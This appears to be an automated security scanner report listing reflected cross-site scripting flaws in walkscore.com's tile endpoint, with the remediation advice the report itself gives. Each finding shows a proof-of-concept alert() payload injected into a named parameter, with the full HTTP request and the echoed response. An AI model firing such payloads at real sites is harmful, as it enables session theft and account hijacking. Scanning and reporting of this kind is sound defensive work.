Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the wsid request parameter is copied into the HTML document as plain text between tags. The payload d54fb<script>alert(1)</script>a162869564e was submitted in the wsid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the commute request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b4c6</script><script>alert(1)</script>4acce3aa7fa was submitted in the commute parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false4b4c6</script><script>alert(1)</script>4acce3aa7fa&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the footheight request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 4cd46%3balert(1)//1c08d5aaf83 was submitted in the footheight parameter. This input was echoed as 4cd46;alert(1)//1c08d5aaf83 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=184cd46%3balert(1)//1c08d5aaf83 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javasc ...[SNIP]... = 'realestatecenter.bankofamerica.com'; var width = 583; var height = 268; var results_w = 239; var results_h = 268; var commute_results_w = 236; var commute_results_h = 198; var footheight = 184cd46;alert(1)//1c08d5aaf83; var layout = 'h'; var menuItemSize = 'one-line'; var menuItemsHeight = 227; var itemHeight = 26; var showSearchNearby = true; var removeMoreAmenitiesLink = true; // To start with, at least; va ...[SNIP]...
The value of the height request parameter is copied into the HTML document as plain text between tags. The payload 6a386<script>alert(1)</script>9fb5439510c was submitted in the height parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=2686a386<script>alert(1)</script>9fb5439510c&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the height request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 232a4%3balert(1)//042d573abb1 was submitted in the height parameter. This input was echoed as 232a4;alert(1)//042d573abb1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268232a4%3balert(1)//042d573abb1&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javasc ...[SNIP]... pt type='text/javascript'> var url_street = "";
var ws_auth_wsid = '28c0b84aee0114bb96148e77f80ba04c'; var ws_auth_domain = 'realestatecenter.bankofamerica.com'; var width = 583; var height = 268232a4;alert(1)//042d573abb1; var results_w = 239; var results_h = 268232a4;alert(1)//042d573abb1; var commute_results_w = 236; var commute_results_h = 268162; var footheight = 18; var layout = 'h'; var menuItemSize = 'two ...[SNIP]...
The value of the lat request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8fb83'><script>alert(1)</script>7745fe59b07 was submitted in the lat parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.947778fb83'><script>alert(1)</script>7745fe59b07&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the lng request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 84118'><script>alert(1)</script>636284d9970 was submitted in the lng parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.3182984118'><script>alert(1)</script>636284d9970&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the show_reviews request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3a19d</script><script>alert(1)</script>a770a0ab8e0 was submitted in the show_reviews parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false3a19d</script><script>alert(1)</script>a770a0ab8e0&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javasc ...[SNIP]... r hide_scores_below = 0; var nolink_bubbles = true; // To start with, at least; var tileDomain = 'bankofamerica.com';
The value of the transit_score request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afb17</script><script>alert(1)</script>ac5e08d9d1e was submitted in the transit_score parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=falseafb17</script><script>alert(1)</script>ac5e08d9d1e&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javasc ...[SNIP]... ; // To start with, at least; var tileDomain = 'bankofamerica.com';
The value of the width request parameter is copied into the HTML document as plain text between tags. The payload dd5c8<script>alert(1)</script>79e1750c645 was submitted in the width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583dd5c8<script>alert(1)</script>79e1750c645&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the width request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3d2d3%3balert(1)//301aa5a88c2 was submitted in the width parameter. This input was echoed as 3d2d3;alert(1)//301aa5a88c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=5833d2d3%3balert(1)//301aa5a88c2&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javasc ...[SNIP]... <script type='text/javascript'> var url_street = "";
var ws_auth_wsid = '28c0b84aee0114bb96148e77f80ba04c'; var ws_auth_domain = 'realestatecenter.bankofamerica.com'; var width = 5833d2d3;alert(1)//301aa5a88c2; var height = 268; var results_w = 239; var results_h = 268; var commute_results_w = 236; var commute_results_h = 198; var footheight = 18; var layout = 'h'; var menuItemSize = 'one-line'; va ...[SNIP]...
The value of the wsid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 35bee'%3balert(1)//21d344fbfb2 was submitted in the wsid parameter. This input was echoed as 35bee';alert(1)//21d344fbfb2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c35bee'%3balert(1)//21d344fbfb2&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javasc ...[SNIP]... <script type='text/javascript'> var url_street = "";
var ws_auth_wsid = '28c0b84aee0114bb96148e77f80ba04c35bee';alert(1)//21d344fbfb2'; var ws_auth_domain = 'realestatecenter.bankofamerica.com'; var width = 583; var height = 268; var results_w = 239; var results_h = 268; var commute_results_w = 236; var commute_results_h = 19 ...[SNIP]...
The value of the wsid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f5e0"%3balert(1)//f43bf59dab1 was submitted in the wsid parameter. This input was echoed as 8f5e0";alert(1)//f43bf59dab1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c8f5e0"%3balert(1)//f43bf59dab1&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1 Host: www.walkscore.com Proxy-Connection: keep-alive Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The response contains the following Content-type statement:
Content-Type: text/html; charset=utf-8
The response states that it contains HTML. However, it actually appears to contain JSON.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.